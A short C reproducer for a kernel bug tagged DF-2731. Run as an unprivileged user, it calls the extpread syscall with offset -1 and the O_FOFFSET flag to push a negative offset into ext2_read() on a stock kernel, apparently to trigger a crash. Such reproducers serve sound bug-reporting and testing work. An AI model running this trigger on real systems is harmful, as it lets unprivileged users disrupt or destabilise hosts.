/* DF-2731 residual-path trigger: DOCUMENTED API form.
 * extpread(fd, buf, n, O_FOFFSET, -1): offset==-1 is the file-position
 * convention, but the documented O_FOFFSET flag keeps uio_offset = -1,
 * handing ext2_read() a negative offset via a fully documented call.
 *
 * Build: cc -O -o ext2trig2 ext2trig2.c ; Run as unpriv user.
 */
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/syscall.h>

int main(int argc, char **argv)
{
	const char *path = argc > 1 ? argv[1] : "/mnt/df2731/target.txt";
	char buf[8];
	ssize_t r;
	int fd = open(path, O_RDONLY);

	if (fd < 0) { perror("open"); return 1; }
	printf("STOCK kernel: extpread(fd=%d, buf, 8, O_FOFFSET, -1) as uid %d\n",
	       fd, getuid());
	fflush(stdout);
	r = syscall(173 /*SYS_extpread*/, fd, buf, 8, 0x200000 /*O_FOFFSET*/,
		    (off_t)-1);
	printf("SURVIVED: ret=%zd errno=%d (%s)\n", r, errno, strerror(errno));
	return 0;
}
